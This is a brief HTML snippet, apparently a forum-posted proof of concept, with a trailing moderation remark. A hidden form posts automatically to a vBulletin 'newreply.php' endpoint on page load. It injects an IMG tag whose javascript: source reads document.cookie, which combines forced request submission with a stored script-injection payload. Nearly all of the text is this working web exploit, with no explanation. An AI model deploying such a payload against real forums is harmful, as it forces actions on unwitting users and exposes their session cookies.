<form action="http://host/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="<IMG src="javascript:alert(document.cookie)">"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>

shmurr - Warned, spam.